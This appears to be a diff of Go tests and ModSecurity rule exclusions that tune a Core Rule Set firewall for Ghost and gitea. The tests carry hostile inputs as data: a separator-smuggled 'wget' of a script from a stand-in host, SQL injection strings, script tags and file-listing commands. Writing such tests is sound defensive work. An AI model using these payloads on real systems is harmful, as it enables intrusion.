// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
||||||
|
// target, a query field and its value, or lets it through.
|
||||||
|
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
got := inspect(t, atDefaults(t), get(target))
|
||||||
|
if refused && got.Score < ghostThreshold {
|
||||||
|
t.Errorf("%s let through: %+v", target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !refused && got.Score >= ghostThreshold {
|
||||||
|
t.Errorf("%s refused: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, encoded := range hardValues {
|
||||||
|
value, _ := url.QueryUnescape(encoded)
|
||||||
|
|
||||||
|
fields := slices.Concat(
|
||||||
|
ghostTextFields,
|
||||||
|
ghostArticleFields,
|
||||||
|
ghostCodeFields,
|
||||||
|
)
|
||||||
|
for _, f := range fields {
|
||||||
|
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// filter as the admin's pickers write it, and search as typed.
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
wantGhostQuery(t, ghostSearch+encoded, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, address := range ghostURLs {
|
||||||
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, address := range ghostAddresses {
|
||||||
|
for _, f := range ghostAddressFields {
|
||||||
|
wantGhostField(t, f, address, false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, f := range ghostArticleFields {
|
||||||
|
wantGhostField(t, f, ghostArticle, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, f := range ghostCodeFields {
|
||||||
|
wantGhostField(t, f, ghostCodeInjection, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
||||||
|
url.QueryEscape(
|
||||||
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
||||||
|
), false)
|
||||||
|
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
||||||
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ghostAttacks are an SQL injection, a path traversal and a script
|
||||||
|
// injection, not escaped.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
|
||||||
|
|
||||||
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
||||||
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
||||||
|
|
||||||
|
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, attack := range ghostAttacks {
|
||||||
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
||||||
|
ghostArticleFields, ghostCodeFields) {
|
||||||
|
wantGhostField(t, f, attack, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range ghostQueryFields {
|
||||||
|
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A command after a separator stays refused wherever its rules do not
|
||||||
|
// misfire: in the query fields, the plain text and the addresses.
|
||||||
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
|
||||||
|
wantGhostField(t, f, commandAfterASeparator, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range ghostQueryFields {
|
||||||
|
wantGhostQuery(
|
||||||
|
t,
|
||||||
|
target+url.QueryEscape(commandAfterASeparator),
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The articles and code injection carry HTML on purpose, but a script
|
||||||
|
// element and a javascript: link are still refused there.
|
||||||
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
||||||
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
||||||
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses a listing of files.
|
||||||
|
for _, f := range ghostAddressFields {
|
||||||
|
wantGhostField(t, f, "ls -la /root", true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGhostExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// The fields keep their rules off Ghost's paths, on Ghost's paths that
|
||||||
|
// take no such field, and when the query has a field of the same name.
|
||||||
|
const (
|
||||||
|
title = `{"posts":[{"title":"python3"}]}`
|
||||||
|
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
|
||||||
|
name = `{"name":"python3"}`
|
||||||
|
email = `{"email":"python3.dev@example.com"}`
|
||||||
|
username = `{"username":"python3.dev@example.com"}`
|
||||||
|
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, refused := range []struct{ target, body string }{
|
||||||
|
{"/api/posts/", title},
|
||||||
|
{"/ghost/api/content/posts/", title},
|
||||||
|
{ghostMember, title},
|
||||||
|
{ghostPosts + "?json.posts.0.title=x", title},
|
||||||
|
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
|
||||||
|
{ghostPosts, name},
|
||||||
|
{ghostMember + "?json.name=x", name},
|
||||||
|
{"/api/posts/", article},
|
||||||
|
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
|
||||||
|
{ghostPosts + "?json.posts.0.lexical=x", article},
|
||||||
|
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
|
||||||
|
{
|
||||||
|
ghostSettings + "?json.settings.0.value=x",
|
||||||
|
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
|
||||||
|
},
|
||||||
|
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
|
||||||
|
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
|
||||||
|
{ghostPosts, email},
|
||||||
|
{ghostMembers, email},
|
||||||
|
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
|
||||||
|
{
|
||||||
|
ghostMembers + "?json.members.0.email=x",
|
||||||
|
`{"members":[{"email":"python3.dev@example.com"}]}`,
|
||||||
|
},
|
||||||
|
{ghostMember + "?json.email=x", email},
|
||||||
|
{ghostPosts, username},
|
||||||
|
{ghostSession + "?json.username=x", username},
|
||||||
|
{ghostPosts, setupEmail},
|
||||||
|
{ghostSetup + "?json.setup.0.email=x", setupEmail},
|
||||||
|
{ghostPosts, passwordResetEmail},
|
||||||
|
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
|
||||||
|
{ghostPosts, userEmail},
|
||||||
|
{ghostUser + "?json.users.0.email=x", userEmail},
|
||||||
|
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
|
||||||
|
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
|
||||||
|
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
|
||||||
|
{
|
||||||
|
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
|
||||||
|
`{"users":[{"profile_image":null}]}`,
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, refused.body)
|
||||||
|
if got.Score < ghostThreshold {
|
||||||
|
t.Errorf(
|
||||||
|
"PUT %s %s let through: %+v",
|
||||||
|
refused.target,
|
||||||
|
refused.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// The query fields keep their rules off Ghost's paths, and in other
|
||||||
|
// query fields there. search skips its rules only on the Admin API, and
|
||||||
|
// url only on the editor's lookup of embeds.
|
||||||
|
for _, target := range []string{
|
||||||
|
"/api/posts/?filter=powershell",
|
||||||
|
"/ghost/posts/?filter=powershell",
|
||||||
|
"/ghost/api/admin/posts/?order=powershell",
|
||||||
|
"/ghost/api/content/posts/?search=python3",
|
||||||
|
"/members/api/member/?search=python3",
|
||||||
|
"/ghost/api/admin/posts/?url=powershell",
|
||||||
|
"/oembed/?url=powershell",
|
||||||
|
} {
|
||||||
|
wantGhostQuery(t, target, true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGhostPasswordsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// Ghost's password fields, each sent to the path that takes it. A dot
|
||||||
|
// nests a field, as Ghost nests it in an array.
|
||||||
|
fields := []passwordFields{
|
||||||
|
{ghostSession, jsonBody, []string{passwordKey}},
|
||||||
|
{
|
||||||
|
"/ghost/api/admin/authentication/setup/",
|
||||||
|
jsonBody,
|
||||||
|
[]string{"setup.0.password"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
||||||
|
[]string{"invitation.0.password"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
||||||
|
[]string{
|
||||||
|
"password_reset.0.newPassword",
|
||||||
|
"password_reset.0.ne2Password",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/ghost/api/admin/users/password/", jsonBody,
|
||||||
|
[]string{
|
||||||
|
"password.0.oldPassword", "password.0.newPassword",
|
||||||
|
"password.0.ne2Password",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
wantPasswordFieldsPass(t, fields)
|
||||||
|
}
|
||||||
+308
-26
@@ -1,8 +1,56 @@
|
|||||||
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
||||||
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
# They are the fields where gitea sends a search, a file's name or text, a
|
||||||
# a file name or a branch name. Each exclusion runs with the request, before the
|
# commit message, a branch name or a repository's name. Each exclusion runs with
|
||||||
# rules it switches off, those of phase 1 included, so this file is loaded before
|
# the request, before the rules it switches off, those of phase 1 included, so
|
||||||
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
# this file is loaded before the Core Rule Set's rules. Each comment names a
|
||||||
|
# request the rule refused.
|
||||||
|
|
||||||
|
# Every rule below is skipped unless Inspect has set tx.app_gitea. It sets it
|
||||||
|
# while SWW_APPS is unset, or lists gitea or forgejo for the request's hostname.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_gitea itself.
|
||||||
|
SecRule &TX:app_gitea "@eq 0" \
|
||||||
|
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
||||||
|
|
||||||
|
# The query parameters in which gitea sends names within a repository or its
|
||||||
|
# own records, or a page of its own site, are not checked against the lists of
|
||||||
|
# system files, shell paths and command names, on any path:
|
||||||
|
# 930120: .gitignore
|
||||||
|
# 932160: bin/docker-entrypoint
|
||||||
|
# 932260: docker-build
|
||||||
|
# ARGS holds the fields of a form data or multipart body Coraza reads as well
|
||||||
|
# as the query parameters, so a field of these names is left out too.
|
||||||
|
SecAction "id:900591,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
||||||
|
|
||||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||||
# text searched for in q, which skips these rules there:
|
# text searched for in q, which skips these rules there:
|
||||||
@@ -35,13 +83,21 @@
|
|||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
# 944110: java.lang.Runtime
|
# 944110: java.lang.Runtime
|
||||||
# 944130: java.lang.Runtime
|
# 944130: java.lang.Runtime
|
||||||
|
# The searches of issues and pull requests include those of one team of an
|
||||||
|
# organisation, such as /org/acme/issues/developers, and of one milestone, such
|
||||||
|
# as /alice/tools/milestone/1.
|
||||||
|
# gitea has no owner named api. A repository's search, issues, pull requests,
|
||||||
|
# milestone pages and commit search with that owner get none of this.
|
||||||
|
# /api/v2/search, for example, is Mastodon's search.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
||||||
[^/]+/-/code|\
|
[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
|
||||||
"id:900600,phase:1,pass,nolog,\
|
"id:900600,phase:1,pass,nolog,chain"
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/(?:search|issues(?:/search)?|\
|
||||||
|
pulls|milestone/[0-9]+|commits/(?:branch|tag|commit)/.+/search)$" \
|
||||||
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
@@ -78,13 +134,17 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
|
|||||||
# 941160: <img src=
|
# 941160: <img src=
|
||||||
# 942100: LIKE '%foo%'
|
# 942100: LIKE '%foo%'
|
||||||
# 944100: java.lang.Runtime
|
# 944100: java.lang.Runtime
|
||||||
|
# A repository with the owner api is left out here too.
|
||||||
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
||||||
issues(?:/search)?|pulls|[^/]+/-/code|\
|
issues(?:/search)?|pulls|[^/]+/-/code|org/[^/]+/(?:issues|pulls)/[^/]+|\
|
||||||
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
|
[^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|milestone/[0-9]+|\
|
||||||
commits/(?:branch|tag|commit)/.+/search)|\
|
commits/(?:branch|tag|commit)/.+/search)|\
|
||||||
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))\?" \
|
||||||
"id:900601,phase:1,pass,nolog,\
|
"id:900601,phase:1,pass,nolog,chain"
|
||||||
ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/[^/]+/(?:search|\
|
||||||
|
issues(?:/search)?|pulls|milestone/[0-9]+|\
|
||||||
|
commits/(?:branch|tag|commit)/.+/search)\?" \
|
||||||
|
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||||
@@ -94,35 +154,93 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
|
|||||||
# name in q, which skips these rules there:
|
# name in q, which skips these rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
|
# 932250: ls -la
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
# 944130: org.apache.commons.logging
|
# 944130: org.apache.commons.logging
|
||||||
|
# [^/]+/[^/]+/packages matches an owner's packages page (/alice/-/packages), a
|
||||||
|
# repository's (/alice/tools/packages) and gitea's admin page of packages
|
||||||
|
# (/-/admin/packages). Forgejo's admin page of packages is /admin/packages.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
||||||
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
|
[^/]+/[^/]+/(?:branches|tags|packages)|admin/packages|\
|
||||||
|
api/v1/repos/search|api/v1/packages/[^/]+)$" \
|
||||||
"id:900602,phase:1,pass,nolog,\
|
"id:900602,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
# gitea's other searches for a name send it in q too, which skips only these
|
# A branch, tag or package name can hold a slash, as feat/docker-support and
|
||||||
# rules there:
|
# npm's @scope/name do. So q on a repository's branches, tags and packages
|
||||||
# 930120: .profile
|
# pages, on an owner's packages page and on the admin page of packages also
|
||||||
# 932120: powershell-scripts
|
# skips this rule:
|
||||||
# 932260: python3-app
|
# 932160: /bin/sh
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
|
||||||
|
admin/packages)$" \
|
||||||
|
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||||
|
|
||||||
|
# gitea's other searches send a name or a few words in q too, which skips only
|
||||||
|
# these rules there:
|
||||||
|
# 930120: .profile, .htaccess
|
||||||
|
# 932120: powershell-scripts, powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3-app, python3
|
||||||
# The searches:
|
# The searches:
|
||||||
# - the dashboard's filter of repositories;
|
# - the dashboard's filter of repositories;
|
||||||
# - the repositories on a user's or an organisation's page, whose path has
|
|
||||||
# one segment;
|
|
||||||
# - the author filter of the issue and pull request lists;
|
# - the author filter of the issue and pull request lists;
|
||||||
# - the lists of users and organisations, and the API's search for users.
|
# - the lists of users and organisations, and the API's search for users;
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
|
# - the list of repositories a user watches;
|
||||||
|
# - an organisation's milestones of one team, and its search for teams;
|
||||||
|
# - the milestones of a repository or an organisation, and the projects of a
|
||||||
|
# repository, a user or an organisation;
|
||||||
|
# - the versions of a package;
|
||||||
|
# - the issues suggested when an issue is mentioned;
|
||||||
|
# - the runner lists of the site, a user, an organisation and a repository;
|
||||||
|
# - the admin lists of users, organisations, repositories, unadopted
|
||||||
|
# repositories and emails, and the forms on them that adopt a repository or
|
||||||
|
# activate an email, in the body.
|
||||||
|
# gitea serves its admin pages under /-/admin/ and Forgejo under /admin/.
|
||||||
|
# [^/]+/[^/]+/projects matches the projects page of a user or an organisation
|
||||||
|
# (/alice/-/projects) as well as a repository's. The path of a package's
|
||||||
|
# versions holds the package's name, which can hold a slash, as npm's
|
||||||
|
# @scope/name does.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
|
||||||
explore/(?:users|organizations)|api/v1/users/search|\
|
explore/(?:users|organizations)|api/v1/users/search|\
|
||||||
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
|
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
|
||||||
|
[^/]+/-/packages/[^/]+/.+/versions|\
|
||||||
|
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
|
||||||
|
projects|settings/actions/runners)|\
|
||||||
|
user/settings/actions/runners|\
|
||||||
|
(?:-/)?admin/(?:users|orgs|repos|repos/unadopted|emails|emails/activate|\
|
||||||
|
actions/runners))$" \
|
||||||
"id:900603,phase:1,pass,nolog,\
|
"id:900603,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# The repositories on a user's or an organisation's page are searched with q
|
||||||
|
# too. Their path has one segment, so q skips these rules on every path of one
|
||||||
|
# segment, other apps' pages such as /index.php included:
|
||||||
|
# 930120: .profile
|
||||||
|
# 932120: powershell-scripts
|
||||||
|
# 932260: python3-app
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
|
||||||
|
"id:900604,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# On those pages q skips 932250 too, which refused ls -la, but only on a path
|
||||||
|
# made of the characters a user's or an organisation's name may hold. Those are
|
||||||
|
# letters, digits, -, _ and dots, the first a letter or digit, so
|
||||||
|
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
|
||||||
|
# script's extension keeps it too, such as /index.php or /search.cgi.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
|
||||||
|
"id:900606,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
|
||||||
|
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
|
||||||
|
|
||||||
# These requests name a file in the path, which skips these rules there:
|
# These requests name a file in the path, which skips these rules there:
|
||||||
# 920500: notes.txt~
|
# 920500: notes.txt~
|
||||||
# 934100: process.env.d.ts
|
# 934100: process.env.d.ts
|
||||||
@@ -155,8 +273,8 @@ SecRule REQUEST_FILENAME \
|
|||||||
# 942140: information_schema.sql
|
# 942140: information_schema.sql
|
||||||
# 944110: java/lang/Runtime.java
|
# 944110: java/lang/Runtime.java
|
||||||
# 944130: java.lang.String.md
|
# 944130: java.lang.String.md
|
||||||
# Each request skips the rules that refused it. The fourth change already has
|
# Each request skips the rules that refused it. Rule 900591 already has path and
|
||||||
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
# redirect_to skip 930120, 932160 and 932260 on every path.
|
||||||
|
|
||||||
# A file's commit graph, in file.
|
# A file's commit graph, in file.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||||
@@ -275,9 +393,173 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
|
||||||
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
|
||||||
|
|
||||||
|
# The requests below name a file or a branch in a body field, which is read only
|
||||||
|
# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
|
||||||
|
# Each field below that names a branch skips these rules:
|
||||||
|
# 932120: fix-powershell-module
|
||||||
|
# 932260: feat/docker-support
|
||||||
|
# None applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
|
# The web editor's save, new file, delete, upload, patch, cherry-pick and
|
||||||
|
# preview. The file's path, in tree_path, skips these rules:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: scripts/install-script.sh
|
||||||
|
# 932260: docker-compose.yml
|
||||||
|
# The commit's summary, in commit_summary, skips these rules:
|
||||||
|
# 930120: Remove .htaccess
|
||||||
|
# 932120: Remove scripts/install-script.sh
|
||||||
|
# The file's text or the patch, in content, skips one rule:
|
||||||
|
# 932235: a line that starts with install
|
||||||
|
# A new branch for the commit is named in new_branch_name.
|
||||||
|
SecRule REQUEST_FILENAME \
|
||||||
|
"@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete|_upload|_diffpatch|_cherrypick|_preview)/" \
|
||||||
|
"id:900660,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content|new_branch_name)$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:content,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:new_branch_name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
|
||||||
|
|
||||||
|
# A branch created on the web, in new_branch_name.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
|
||||||
|
"id:900661,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:new_branch_name "@eq 0" \
|
||||||
|
